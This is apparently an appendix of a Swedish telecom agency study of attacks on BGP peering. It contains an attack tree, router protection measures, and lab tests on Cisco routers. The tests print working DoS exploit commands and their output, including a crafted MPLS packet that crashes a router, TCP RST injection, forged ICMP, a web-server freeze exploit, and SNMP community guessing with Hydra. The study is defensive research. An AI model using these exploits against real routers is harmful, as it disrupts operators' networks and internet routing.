Störa peeringförbindelse
Bryta TCPförbindelse
Blockera
router
(2)
Blockera
NIC
(7)
Belasta
input-kö
Inducera
krasch/omstart
(1)
Inducera
CPU-belastning
(4)
(14)
Ruttdeaggregering
Kommandoexekvering
Injicera
genom BGP
(11)
Hög addressdiversitet
DoS genom
skräddarsytt
paket
IP options
Multicasttrafik
(5)
TCP
RST/SYN
(13)
Update-belastning
(10)
Reflektionsattack
Lura TCP
(3)
Kontrollplan
Skräddarsytt (9)
MPLS-paket
Inducera slow path
Skräddarsytt
IPv6-paket
Direkt
attack
Förfalska
ICMP
Inducera
minnesbelastning
Trafikplan
Attackera
webbserver
(8)
Skräddarsytt
paket
Injicera falsk
BGP-rutt
Lyckad
attack mot
IGP-protokoll
Kapa
peering
Insider
(lokal)
ACK-storm
Injicera
genom IGP
Kontrollplansaccess (BGP)
(12)
(15)
(16)
TCP-förbindelsekapning
Layer 2
lokal attack
&
&
(6)
Kända/gissade
ändpunkter
Routerintrång
Tysta
motpart
(19)
(17)
Kända/gissade
sekvensnummer
Attackera
webbserver
ARP-baserad
attack
&
Src/dst IP
traceroutes
Handel med
“ägda” routrar
Lösenordsgissning
Bufferöverskridningsattack
(8)
(18)SNMP community
Kommandoexekvering
OS-identifiering
guessing
Skräddarsytt
IPv6-paket
[Text for figure above:
Attack tree
Break a TCP
connection
Block
router
Traffic layer
Block
NIC
Overload
input queue
Crafted
packet
Direct
attack
Disrupt peering connection
Induce
Induce
crash/restart
CPU load
Attack
web server
Verification layer
Induce
memory loading
Inject
false BGP route
Crafted
MPLS packet
Induce slow path
Crafted
IPv6 packet
Reflection
attack
Trick TCP
Command
execution
Update load
High address
diversity
IP options
Multicast
traffic
DoS through
Route
deaggregation
Inject
through BGP
Control level
access (BGP)
Inject
through
IGP
crafted packet
Falsify
ICMP
TCP
RST/SYN
ACK storm
Insider
(local)
TCP connection
hijacking
&
&
Known/guessed
52
Known/guessed
Layer 2
local attack
Hijack
peering
Successful
attack on
IGP protocol
Trading with
'owned' routers
Router
intrusion
Silence
counterparty
National Post and Telecom Agency
- APPENDIX 3
termination points sequence numbers
&
Src/dst IP OS identification
traceroutes
ARP-based
attack
Attack
web servers
Password
guessing
Command
execution
SNMP community
guessing
Buffer overload
attack
Crafted
IPu6 packet]
Figure 2. Attack tree with the aim of disrupting or influencing a peering connection
Each node in the tree consists of a final objective or sub-objective for an attack. The branches
for each node have a logical 'or' co-relation, except in cases where special 'and' nodes have
been used to indicate several conditions/sub-objectives that must be satisfied.
Comments for Figure 2:
1) cisco-bug-44020 [21]: This vulnerability was verified by interrupting a peering
session in a lab environment on a Cisco 2600 with IOS 12.2. The peering session was
interrupted and stays down until the router is restarted. This problem was corrected in
later versions of IOS.
2) Simple DoS attack on the input queue for packets to the router's central processor.
3) Management of ICMP protocol unreachable, path MTU discovery, and source
quench [25]. Requires that the source and destination IP as well as port number are
known or can be guessed.
4) TCP RST or SYN packet: requires that the source and destination IP as well as port
numbers are known or can be guessed and that the sequence number can be guessed
within the window [26]. However, it should be noted that: i) iBGP connections use
normal loopback IP addresses that cannot be seen using traceroutes, ii) in order to
effectively be able to guess the source port (TCP source port), the operating system
version should be recognised with high precision, which is difficult in practice, iii)
higher levels of MD5 protection of peering sessions are currently used due to the
publication of [26].
5) TCP synchronisation errors: require that the source and destination IP as well as
port number are known or can be guessed and that the sequence numbers are known
or can be guessed very accurately. If a segment is injected in the connection, the
sequence numbers will become irregular, which will result in a 'storm' of ACK
messages for resynchronising the connection. However, the connection is eventually
broken.
6) A prerequisite for most attacks against the TCP coupler is that the attacker can find or
guess the termination points, i.e. the source IP (src-IP), the destination IP (dst-IP), the
source port (src-port), and the destination port (dst-port). The destination port is
known. The number of alternatives that need to be guessed for the source port can
probably be drastically reduced if the OS version is known [26]. Traceroutes from
several places and certain methods for identifying the interface on the same router are
required for identifying IP addresses. A loopback interface is generally used on
internal connections (iBGP), which is why IP addresses cannot be identified and have
to be guessed.
7) Attacks on a web configuration interface: require the web configuration to be
activated. The HTTP server in old versions of IOS is vulnerable to a type of DoS
attack with crafted packets. If the web server has not been configured correctly so that
it is unprotected, it may be possible to give configuration commands. In older
versions, it may also be possible to carry out intrusions in the router by exploiting
buffer overflows in the web server.
8) A crafted IPv6 packet exploiting a buffer overflow vulnerability [27] has been used
to demonstrate intrusion with configuration privileges on a Cisco router. An easier
way of exploiting this vulnerability is simply to cause a reload. This requires the
configuration of IPv6 and has only been demonstrated from the same sub-network as
National Post and Telecom Agency
53
Contents - APPENDIX 3
9)
10)
11)
12)
13)
14)
15)
16)
17)
18)
19)
where the router is located. However, in order to test this vulnerability, more detailed
information about the vulnerability than the description provided in Cisco's advisory
is required.
Crafted MPLS packet: can lead to a reload under certain conditions [22]. Only
certain (especially somewhat smaller) router models are vulnerable to this type of
attack, and it must be carried out from the same sub-network.
When worms started to be spread, scanning traffic in some cases led to smaller
routers crashing due to CPU loads [19].
Traffic with IP options can potentially induce CPU load.
It is unclear whether multicast traffic could cause overload problems. [20]
Can a router be overloaded with high intensity BGP updates? This requires the
attacker to be able to steal a peering session.
Deaggregation of routes can result in memory overload. This was previously studied
in [23]. In practice, this requires the attacker to be able to steal a peering session.
Taking over a TCP session: requires, for example, that the source and destination IP
as well as port numbers are known or can be guessed and that the sequence number
can be guessed within the window. The opponent also has to be silenced.
Local attack against layer 2 protocol: requires the attacker to have established a
foothold in the local network where the peering connection is located, which can
either be between the ISP networks (eBGP) or within an ISP network (iBGP).
Password guessing against the Telnet, SSH or web configuration interfaces.
Additional password guessing may be necessary in order to gain configuration
privileges.
Community guessing against SNMP configuration interfaces: resembles password
guessing. May be followed by guessing the passwords stored in configuration files.
Buffer overflow attack on an open service or protocol function: for example, like
the widely publicised demonstration of a successful attack on an IPv6 vulnerability
[27]; see comment (8) or other vulnerabilities [24].
Compared with the attack tree against BGP described by Convery, Cook and Franz in [6], we
have two specific objectives here: being able to redirect traffic, or somehow disrupt a peering
coupler. This constitutes the basic attack mechanism that may subsequently be utilised to
achieve a more substantial disruption. We have also expanded the tree in certain respects; for
example, with tangible attacks that indirectly affect BGP, such as (1), (2) and (8). On the other
hand, we have excluded a number of sub-objectives based on 'social engineering', as these are
unsuitable for the experiments. In some cases, we can instead make assumptions about the
attacker by means of social engineering or insiders being able to achieve the equivalent subobjectives.
1.4
Protection principles
The previous section may suggest that it is relatively easy for an attacker to cause damage.
However, in order to provide a fairer picture, the various protective measures that are available
should also be taken into account, many of which have recently been developed along with
increased security awareness. Here, we discuss a selection to demonstrate how many attacks
can be blocked and the security gaps that may possibly remain.
1.4.1 Protecting routers
Figure 3 below illustrates the protective mechanisms against DoS and some other types of
attack on large routers. Infrastructure ACLs (access control lists) and Receive ACLs can be
used to block traffic from IP addresses outside one's own network in order to gain access to the
infrastructure, i.e. send traffic to routers in the network. However, these must grant routing
traffic from external BGP peers access to the border routers. The Generalized TTL Security
Mechanism (GTSM) can be used to stop traffic to the border router from nodes that are located
further away than the peer router. In other words, all traffic that has travelled two hops or more
54
National Post and Telecom Agency
- APPENDIX 3
in a direct connection to the peer router is blocked to the border router. This could be compared
to establishing a 'trusted zone', from which traffic is allowed to access the border router. Traffic
addressed to the border router is put into an input queue on the line card before being picked up
by the router processor (the central CPU). If the queue is full, a prioritisation mechanism
known as 'Selective Packet Discard' is first used to discard normal traffic and save routing
traffic, as well as layer 2 control traffic, to avoid connectivity information being dropped.
Gränsrouter
Routeprocessor
Selectiv
paket-kastning
receive
path
inputkö
receive-ACLer
& GTSM
Linjekort
infrastrukturACLer
GTSM
⇒ “tillits-zon”
(Extern)
Peer
[Text for figure:
Border router
Route
processor
receive
path
Selective
Packet Discard
Input
queue
Line card
Receive ACLs
& GTSM
infrastructure
ACLs
GTSM
=> 'trusted zone'
(External)
Peer]
Figure 3. Protection against DoS and some other attacks on routers
An additional form of protection for impeding traffic from the outside to the infrastructure is to
as far as possible internally use address spaces that are not routed from outside, i.e. for which
National Post and Telecom Agency
55
Contents - APPENDIX 3
no routes are propagated to the outside. Traffic cannot reach the nodes as there are no routes.
However, once again it is somewhat more difficult to protect the border routers as these must
be reached for the exchange of routing information and one must instead depend on the GTSM
mechanism.
Thus, an attacker can get past infrastructure ACLs by falsifying (spoofing) sender's IP on oneway traffic to the border router. However, two-way traffic (e.g. TCP connections) is more
difficult, and getting round the GTSM protection is extremely difficult. One possibility of
getting round GTSM would be if the traffic could be tunnelled into a 'trusted zone', e.g. to the
external peer router. However, this also appears to be difficult if the existing tunnels have been
secured and the router, and possibly other machines on the sub-network, is protected.
1.4.2 Protecting routing information
Information in the system is currently protected by 'defensive filtering', where filters are added
to prevent incorrect information from entering the system and being propagated around.
However, for practical reasons it is impossible to achieve complete protection. As the routing
system comprises a large number of administratively separated parts, some form of
coordination is required in order to be able to design filters, and the Internet Routing Registry
was created for this very reason. The quality of the maintenance of the different objects in the
Routing Registry nevertheless varies, for which reason errors may arise due to old or incorrect
information. Even if it were possible to design perfect filters, there are practical barriers to
using them at all points in the network. Filtering can mainly take place in two ways: through
prefix filtering or AS path filtering. Combinations of these are also used. Prefix filtering is the
most precise. However, the global routing table currently comprises almost 300 000
destinations (prefixes), which means that central AS in the network would have to use filters
with nearly 300 000 rules. This presents a risk of problems with router performance as so many
rules have to be managed, and it is impractical to design and maintain configurations with so
many rules. AS path filtering (possibly in combination with prefix filters) is used extensively
since it can reduce the number of rules and thus simplify maintenance to some extent (but also
leads to somewhat less strict rules). However, in this case it is also impractical to attempt to
maintain comprehensive filtering rules between large ISPs. Therefore, there are currently
known inadequacies in the protection, which is mainly due to the considerable practical
difficulties in maintaining large amounts of route filtering rules.
This situation is illustrated in Figure 4. It is common for ISPs to filter information about routes
received from their customers, as these are of limited size and one has good control over what
the information ought to look like. Large ISPs sometimes require their customers to create
filters themselves that they can subsequently install in order to be able to filter the customers'
transit customers. It is impractical to filter between the largest ISPs because of the large
number of routes, while the situation at the lower levels varies as regards filtering when
peering. The result is that AS at the lower levels must depend in most cases on the information
received from above being correct, while attempting to protect the system from false
information leaking in from outside the core.
Proposals for cryptographic protective mechanisms in the protocol, such as S-BGP and
SoBGP, aim to provide more comprehensive protection against false information being
propagated in the system.
56
National Post and Telecom Agency
- APPENDIX 3
peer/peer
Nivå-1
ISPer
AS b
defensiva
filter
ISPer
lägre
nivåer
Transit
kunder
AS c
AS a
defensiva
filter
defensiva
filter
Eventuella
defensiva
filter
Eventuella
defensiva
filter
kund
AS e
AS d
leverantör
defensiva
filter
AS f
defensiva
filter
AS g
AS h
defensiva
filter
AS i
[Text for figure:
Level 1
ISPs
customer
ISPs
lower
levels
supplier
Transit
customers
AS a
peer/peer
AS b
AS c
defensive filter
defensive filter
defensive filter
Possible
defensive
filter
Possible
defensive
filter
AS d
AS e
AS f
defensive
filter
defensive
filter
defensive
filter
AS g
AS h
AS i]
Figure 4. Defensive filtering to protect routing information in the system
National Post and Telecom Agency
57
Contents - APPENDIX 3
2 Experiments in lab networks
Experiments were conducted in three different lab networks (A, B and C) in order to verify
assumptions for carrying out previously known attacks and observing the local consequences
of these. Lab network A is a small, physically delimited test network with two small Cisco
routers and older OS versions. Here, initial experiments were conducted to test known attacks
and to develop tools. Lab network B consists of a Cisco 7500 router run by an operator for
experiments. The hardware is not completely representative of the operating network, but the
operating system IOS 12.0(30)S2 and the configuration are representative of the operating
network. Lab network C is also run by operators for experiments and consists of a number of
routers with representative software and hardware.
2.1
Initial experiments: lab network A
The initial experiments, aimed at making a first selection of available attack tools as well as
developing crafted tools, were conducted in a small test network constituting two small Cisco
routers, as illustrated by Figure 5. The equipment in this network consists of small routers with
relatively old versions of the operating system (IOS). On the one hand, this makes it possible to
test vulnerabilities that have been known for quite some time. On the other hand, however, the
specific vulnerabilities have been rectified in newer versions of the operating system and it is
likely that large operators already upgraded their equipment a long time ago. In this respect, the
experiments in lab networks B and C are more realistic.
Labb-nät A
192.168.234.0/24
D-link
switch
attack
laptop
Nessus/
sniffer
10.0.0.2
Zebra
10.0.0.5
Cisco 2500
IOS 11.2(18)
10.0.3.0/24
AS 3
10.0.0.3
Cisco 2600
IOS 12.2(10b)
peering
10.0.0.0/24
10.0.1.0/24
10.0.0.1AS
1
sniffer
hub
[Text for figure: Lab network A]
Figure 5. Small test network for initial experiments
58
National Post and Telecom Agency
- APPENDIX 3
The routers are connected to Omicron's internal network for configuration and the like by a
100Mb Ethernet switch, and are connected to each other by a 10Mb Ethernet hub. Each of
these routers represents one AS and advertises a prefix for its AS to the other router through
the private 10.0.0.0 network.
In order to mimic an external attacker, the attacks were generally initiated from a PC by the
switch on Omicron's internal network. A second PC was used to sniff packets on the hub and
register in detail how the peering session might be affected. A Nessus security scanner was
also run on this PC and could be directed at the routers to test known vulnerabilities.
The following sections present the results of the preliminary experiments involving different
types of attack directed at the peering session in this network. The starting point prior to these
experiments is the establishment of a peering connection:
C2600>sh ip route
Codes: C - connected, S - static, I - IGRP, R - RIP, M - mobile, B BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP
i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia - IS-IS
inter area
* - candidate default, U - per-user static route, o - ODR
P - periodic downloaded static route
Gateway of last resort is not set
C
B
C
S
192.168.234.0/24 is directly connected, FastEthernet0/0
10.0.0.0/24 is subnetted, 3 subnets
10.0.3.0 [20/0] via 10.0.0.3, 00:01:11
10.0.0.0 is directly connected, FastEthernet0/1
10.0.1.0 is directly connected, FastEthernet0/1
2.1.1 Initial reconnaissance
A survey and reconnaissance to find potential vulnerabilities are the first steps in an attack on a
network. We assumed a survey using traceroutes, after which a number of further measures
were tested.
2.1.1.1 Vulnerability scanning
Initially, vulnerability scanning with Nessus was carried out for both routers.
Stimuli:
Measurement
results:
Nessus was used to search for Cisco-related vulnerabilities on both
routers.
Nessus report
The old configuration files on the Cisco 2500 router were shown to contain the http server
header for web-based configuration (which is not default). This contains several well-known
vulnerabilities. For example, an attacker can easily access the configuration and command line
interface using a crafted URL. After the http server was shut down, no vulnerabilities were
reported for any of the routers. In order to check the Cisco routers, Nessus often depended on
being able to request the IOS version number from the SNMP server on the router and drawing
National Post and Telecom Agency
59
Contents - APPENDIX 3
conclusions about vulnerabilities from the version number. After a public Read-Only
Community ('public RO') had been configured on the Cisco 2600, a test of this provided
more reliable results, and a number of other known vulnerabilities were reported, for example:
• DoS vulnerability from MPLS packets
• DoS vulnerability from IPv6 packets (SecurityFocus bid 12369)
• DoS vulnerability from BGP packets (SecurityFocus bid 12370)
• DoS vulnerability in IOS (SecurityFocus bid 15275)
• DoS vulnerability from falsified ICMP messages (SecurityFocus bid 6823)
• Potential DoS vulnerability related to SSH (SecurityFocus bid 13042, 13043).
In other words, in order to be able to use Nessus to identify vulnerabilities, an attacker must in
practice be able to guess the community in order to get information from the SNMP server
(which must be turned on).
2.1.1.2 OS identification
A test of how accurately the machine and OS version can be identified from a distance (only
one hop). This is also known as 'OS fingerprinting'.
Stimuli:
Measurement
results:
nmap -O is used to try to identify the machine and OS version.
[root@agena]# nmap -O c2600
Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at
2006-05-02 15:59 CEST
...
Device type: router
Running: Cisco IOS 12.X
OS details: Cisco router running IOS 12.1.5-12.2.13a
[root@agena]# nmap -O c2500
Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at
2006-05-02 15:59 CEST
...
Device type: router|switch
Running: Cisco IOS 11.X
OS details: Cisco Router/Switch with IOS 11.2
For the Cisco 2600, nmap guesses the correct interval on a 'minor version', but not the exact
version. For the Cisco 2500, nmap guesses the correct version. Consequently, the precision
appears to be relatively good, but far from secure. More identification tools are available, but
these have not been tested.
60
National Post and Telecom Agency
- APPENDIX 3
2.1.1.3 SNMP community guessing
Hydra is a tool that automates the password-guessing process over several different
communication protocols. A test was conducted to check the function for guessing the SNMP
community.
Stimuli:
Measurement
results:
xhydra was run on the Cisco 2600 with a small guessing list.
[mili@agena hydra-5.2-src]$ hydra -P password.txt -t 4 -V
194.52.58.136 snmp
Hydra v5.2 (c) 2006 by van Hauser / THC - use allowed
only for legal purposes.
Hydra (http://www.thc.org) starting at 2006-08-28
10:48:52
[DATA] 4 tasks, 1 servers, 90 login tries (l:1/p:90), ~22
tries per task
[DATA] attacking service snmp on port 161
[ATTEMPT] target 194.52.58.136 - login "" - pass "cisco"
- child 0 - 1 of 90
[ATTEMPT] target 194.52.58.136 - login "" - pass "Cisco"
- child 1 - 2 of 90
...
[ATTEMPT] target 194.52.58.136 - login "" - pass
"in73rn37 " - child 2 - 87 of 90
[ATTEMPT] target 194.52.58.136 - login "" - pass
"ciscovoip " - child 3 - 88 of 90
[ATTEMPT] target 194.52.58.136 - login "" - pass "voip "
- child 0 - 89 of 90
[STATUS] attack finished for 194.52.58.136 (waiting for
childs to finish)
[ATTEMPT] target 194.52.58.136 - login "" - pass "ciscovoip" - child 1 - 90 of 90
Hydra (http://www.thc.org) finished at 2006-08-28
10:50:47
The tool reported a guessing rate of approximately 50 guesses per minute. Accelerating this by
means of exhaustive tests of all combinations is thus likely to take a long time. However, a
small number of well-chosen passwords combined with a well-chosen guessing list may
consequently involve a risk, particularly because the attack is very simple to carry out.
2.1.1.4 Alias identification (alias resolution)
An attacker needs to be able to make traceroutes from both directions and identify interfaces
belonging to the same router in order to find both termination points for a connection; this is
known as 'alias identification' ('alias resolution').
Stimuli:
Measurement
results:
The ally tool was tested using two IP addresses on the Cisco 2600.
[root@agena]# ./ally 192.168.234.64 10.0.0.1
0: from 192.168.234.64: id 57439, ttl 59/255
1: from 10.0.0.1: id 57440, ttl 58/255
2: from 192.168.234.64: id 57441, ttl 59/255
ip1=192.168.234.64 ip2=10.0.0.1 ipid return_ttl !out_ttl
!same_ip !b_returns_a !a_returns_b !cisco
The results from the tool suggest that heuristics based on the IP ID and the returned TTL value
indicate that the IP addresses belong to the same router, which is correct. Other methods
included in this tool did not successfully provide additional support for this conclusion. The IP
ID heuristic is assumed to be one of the better tests, but may nevertheless miss certain
National Post and Telecom Agency
61
Contents - APPENDIX 3
occurrences. A combination of tests is preferable for this reason. For the sake of comparison, a
test was also conducted with two IP addresses on different routers.
Stimuli:
Measurement
results:
The ally tool was tested using two IP addresses on different routers.
[root@agena ally-0.1.0]# ally 10.0.0.1 10.0.0.3
0: from 192.168.234.64: id 39, ttl 59/255
1: from 10.0.0.3: id 10055, ttl 58/255
ip1=10.0.0.1 ip2=10.0.0.3 !ipid return_ttl !out_ttl
!same_ip !b_returns_a !a_returns_b !cisco
In this case, the IP addresses were correctly identified as belonging to different machines.
2.1.2 DoS with crafted packets
A test of attacks with crafted packets that trigger certain documented bugs.
2.1.2.1 Blocking NIC (Cisco-bug-44020)
Specific combinations of values in the IPv4 packet head can block interface cards [21]. This
vulnerability was verified in both routers in the experiment network. The NIC status of the
Cisco 2600 was verified as normal prior to the attack:
FastEthernet0/1 is up, line protocol is up
Hardware is AmdFE, address is 00d0.bafe.3781 (bia 00d0.bafe.3781)
Internet address is 10.0.0.1/24
MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
Half-duplex, 10Mb/s, 100BaseTX/FX
ARP type: ARPA, ARP Timeout 04:00:00
Last input 00:00:30, output 00:00:00, output hang never
Last clearing of "show interface" counters never
Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops:
0
Queueing strategy: fifo
Output queue :0/40 (size/max)
…
Stimuli:
Measurement
results:
62
An existing exploit code in cisco-bug-44020 directed at an interface used
by a peering session:
[root@agena cisco-bug-44020]# ./cisco-bug-44020
192.168.234.61 10.0.0.1 2 1000
DEBUG: Protocol: 103
DEBUG: Checksum: 30646
DEBUG: 45 10 00 14 0d 15 40 00 02 67 b6 77 c0 a8 ea 3d
0a 00 00 01
DEBUG: Wrote 20 bytes.
...
The interface status was checked with sh interfaces:
FastEthernet0/1 is up, line protocol is up
Hardware is AmdFE, address is 00d0.bafe.3781 (bia
00d0.bafe.3781)
Internet address is 10.0.0.1/24
MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
Half-duplex, 10Mb/s, 100BaseTX/FX
National Post and Telecom Agency
- APPENDIX 3
ARP type: ARPA, ARP Timeout 04:00:00
Last input 00:00:56, output 00:00:01, output hang never
Last clearing of "show interface" counters never
Input queue: 76/75/881/0 (size/max/drops/flushes);
Total output drops: 0
Queueing strategy: fifo
Output queue :0/40 (size/max)
…
This indicates that the input queue is full. The BGP status was verified:
00:20:26: %BGP-5-ADJCHANGE: neighbor 10.0.0.3 Down BGP
Notification sent
00:20:26: %BGP-3-NOTIFICATION: sent to neighbor 10.0.0.3
4/0 (hold time expired) 0 bytes
C2600>sh ip route
Codes: C - connected, S - static, I - IGRP, R - RIP, M mobile, B - BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA OSPF inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA
external type 2
E1 - OSPF external type 1, E2 - OSPF external type
2, E - EGP
i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2,
ia - IS-IS inter area
* - candidate default, U - per-user static route,
o - ODR
P - periodic downloaded static route
Gateway of last resort is not set
C
192.168.234.0/24 is directly connected,
FastEthernet0/0
10.0.0.0/24 is subnetted, 2 subnets
C
10.0.0.0 is directly connected, FastEthernet0/1
S
10.0.1.0 is directly connected, FastEthernet0/1
This shows that the peering session has gone down.
As indicated in the description, the effect for both routers is that the interface is blocked. If the
attack is directed at an interface used by a peering session, then the session is interrupted and
the router must be restarted in order to resolve the problem.
2.1.2.2 Disruption from falsified ICMP packets
An attack using falsified ICMP packets [25]. This was tested against both the Cisco 2500 and
the Cisco 2600, each of which comprised one side of a peering connection. The TCP ports
need to be known for this attack and these were verified by packet sniffing prior to the
experiments.
Stimuli:
Test of ICMP protocol unreachable directed at the Cisco 2500:
HOD-icmp-attacks-poc -fi:10.0.0.1 -ti:10.0.0.3 -fp:11044
-tp:179 -n:2 -a:1
BGP status is verified on the router (show ip route).
Measurement
results:
No effect was observed.
More experiments were conducted where the number of packets varied. The same attack was
also tested against the Cisco 2600 with the same result.
Stimuli:
Measurement
results:
Test of ICMP MTU-path-discovery directed at the Cisco 2500:
HOD-icmp-attacks-poc -fi:10.0.0.1 -ti:10.0.0.3 -fp:11000
-tp:179 -n:1000 -a:2
BGP status is verified on the router (show ip route).
No effect was observed.
National Post and Telecom Agency
63
Contents - APPENDIX 3
Stimuli:
Measurement
results:
Test of ICMP source quench directed at the Cisco 2500:
HOD-icmp-attacks-poc -fi:10.0.0.1 -ti:10.0.0.3 -fp:11000
-tp:179 -n:1000 -a:3
BGP status is verified on the router (show ip route).
No effect was observed.
There was also no noticeable effect when using a large number of attack packets. According to
[29], a number of checks are actually made against the permission of the connection in IOS so
that the ICMP-related vulnerabilities occurring in other OSs are extremely limited IOSs. They
are restricted to less common ICMP messages combined with a few configurations and
versions of OS and hardware; and the combinations tested here are not vulnerable.
2.1.2.3 Web server attack to block the router
The attack involves sending a specially designed URL string ('http://<router-IP>/%%' )
to the web server on port 80/tcp and was tested in relation to both routers in the test network.
This attack requires the IOS http server to be activated in the router configuration.
Stimuli:
Existing Cisco Global Exploiter exploit code against the Cisco 2500:
perl cge.pl 10.0.0.3 2
Measurement
results:
The router freezes completely and must be restarted by turning the power off.
BGP status is verified on the Cisco 2600 (show ip route).
C2600>sh ip route
Codes: C - connected, S - static, I - IGRP, R - RIP, M mobile, B - BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA OSPF inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA
external type 2
E1 - OSPF external type 1, E2 - OSPF external type
2, E - EGP
i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2,
ia - IS-IS inter area
* - candidate default, U - per-user static route,
o - ODR
P - periodic downloaded static route
Gateway of last resort is not set
C
192.168.234.0/24 is directly connected,
FastEthernet0/0
10.0.0.0/24 is subnetted, 2 subnets
C
10.0.0.0 is directly connected, FastEthernet0/1
S
10.0.1.0 is directly connected, FastEthernet0/1
This indicates that the peering session has gone down.
The Cisco 2500 router running the older IOS 11.0 version is vulnerable to this attack and
freezes completely. The router must be restarted by turning the power off. Existing peering
sessions are subsequently also interrupted until the problem is resolved. The Cisco 2600, with a
newer IOS version, is not vulnerable.
64
National Post and Telecom Agency
- APPENDIX 3
2.1.2.4 Crafted MPLS packet
According to [22], some generally smaller Cisco routers with certain versions of IOS can be
made to crash and reload if someone sends an MPLS packet to the router on an interface that
has not been configured to deal with MPSL. However, the attack must be carried out from the
same sub-network as the vulnerable interface, since MAC addressing is used. The Cisco 2600
with the IOS version run on it is one of the vulnerable configurations, so the vulnerability was
tested on this router by writing a special code that enables packets with MPLS headers to be
generated.2
The packet generation tool, Scapy, written in Python, was modified so that it was possible to
add an MPLS 'shim header' to the packets generated. The status of the Cisco 2600 was verified
prior to the attack:
C2600>sh version
Cisco Internetwork Operating System Software
IOS (tm) C2600 Software (C2600-JK9O3S-M), Version 12.2(10b), RELEASE
SOFTWARE (fc1)
Copyright (c) 1986-2002 by cisco Systems, Inc.
Compiled Thu 11-Jul-02 20:50 by pwade
Image text-base: 0x80008088, data-base: 0x8157D180
ROM: System Bootstrap, Version 11.3(2)XA4, RELEASE SOFTWARE (fc1)
C2600 uptime is 5 weeks, 17 hours, 44 minutes
C2600>
Stimuli:
Specially written exploit code based on Scapy against the Cisco 2600:
Welcome to Scapy (1.0.0.30beta)
>>> p =
Ether(src="00:30:05:3B:09:F6",dst="00:D0:BA:FE:37:80")/MPL
S(label=1)/IP())
>>> Ether(str(p))
<Ether dst=00:d0:ba:fe:37:80 src=00:30:05:3b:09:f6
type=0x8847 |<MPLS label=1L exp=0L stack_bottom=1L ttl=255
|<IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L
ttl=64 proto=IP chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1
|>>>
>>> sendp(p,iface(="eth0")
.
Sent 1 packets.
>>>
Measurem
ent results
Status of Cisco 2600's console:
Unexpected exception to CPU vector 1100, PC = 0
-Traceback= 0 80027AE0 8038397C 8038966C 80349634 8037C4DC
8037C4DC 803496F4 805B7600 802A08EC 8034E1AC 8034AC58
80008118
=== Flushing messages (17:45:45 UTC Mon Apr 5 1993) ===
Queued messages:
Writing crashinfo to flash:crashinfo_19930405-174545
*** System received a SegV exception ***
signal= 0xb, code= 0x1100, context= 0x82182d58
PC = 0x0, Vector = 0x1100, SP = 0x82385628
2 When this experiment was conducted, the lab network had been reconfigured somewhat
compared with Figure 1 and Cisco 2600 had a peering session established with a router at another
location in the Internet. This is, however, of no importance to the experiment. What is important
is that the attack must start from the same sub-network as where Cisco 2600 is located.
National Post and Telecom Agency
65
Contents - APPENDIX 3
System Bootstrap, Version 11.3(2)XA4, RELEASE SOFTWARE
(fc1)
Copyright (c) 1999 by cisco Systems, Inc.
TAC:Home:SW:IOS:Specials for info
C2600 platform with 65536 Kbytes of main memory
program load complete, entry point: 0x80008000, size:
0xc1f340
Self decompressing the image :
#############################################
...
Router>sh ver
Cisco Internetwork Operating System Software
IOS (tm) C2600 Software (C2600-JK9O3S-M), Version
12.2(10b), RELEASE SOFTWARE (fc1)
Copyright (c) 1986-2002 by cisco Systems, Inc.
Compiled Thu 11-Jul-02 20:50 by pwade
Image text-base: 0x80008088, data-base: 0x8157D180
ROM: System Bootstrap, Version 11.3(2)XA4, RELEASE
SOFTWARE (fc1)
Router uptime is 0 minutes
This shows that the router crashed and reloaded.
2.1.3 Attacks on a TCP coupler
Attacks on the TCP coupler were tested without activating the MD5 protection. The
experiments assumed that the attack was directed at an external peering connection (between
two AS) where addresses for physical interfaces are used, and successfully found the IP
addresses for a peering connection on both sides by means of traceroutes.3
2.1.3.1 DoS by means of TCP Reset and the like (RST, SYN or FIN)
Initial tests using TCP RST (Reset) packets to disrupt peering sessions [26] were conducted
after termination points and sequence numbers had been collected by packet sniffing.
Stimuli:
Result:
The tttr tool was used to send a small number of RST packets with guessed
sequence numbers including the known and correct number.
ttt --src 10.0.0.3 --dst 10.0.0.1 --sport 11001 --dport 179 -count 20 --rst --window 1000 --sequence 1205570000^ --delay 1
BGP status was verified on the router (show ip route).
C2600>sh ip route
Codes: C - connected, S - static, I - IGRP, R - RIP, M mobile, B - BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF
inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external
type 2
E1 - OSPF external type 1, E2 - OSPF external type 2, E
- EGP
i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia -
Loopback addresses, which cannot be detected using traceroutes but must be received from the
configuration or be guessed, are normally used for internal peering connections (iBGP-sessions).
3
66
National Post and Telecom Agency
- APPENDIX 3
IS-IS inter area
* - candidate default, U - per-user static route, o ODR
P - periodic downloaded static route
Gateway of last resort is not set
C
C
S
PREFIX1/24 is directly connected, FastEthernet0/0
10.0.0.0/24 is subnetted, 2 subnets
10.0.0.0 is directly connected, FastEthernet0/1
10.0.1.0 is directly connected, FastEthernet0/1
The peering connection was broken.
It was subsequently assumed that the port numbers were still known, while all possibilities of
the sequence number were guessed.
Stimuli:
Sequence number guessing across the entire possible spectrum:
Result
ttt --src 10.0.0.3 --dst 10.0.0.1 --sport 11001 --dport 179 -count 20 --rst --window 1000 --sequence 1205570000^ --delay 1
BGP status was verified on the router (show ip route).
This attack had no effect.
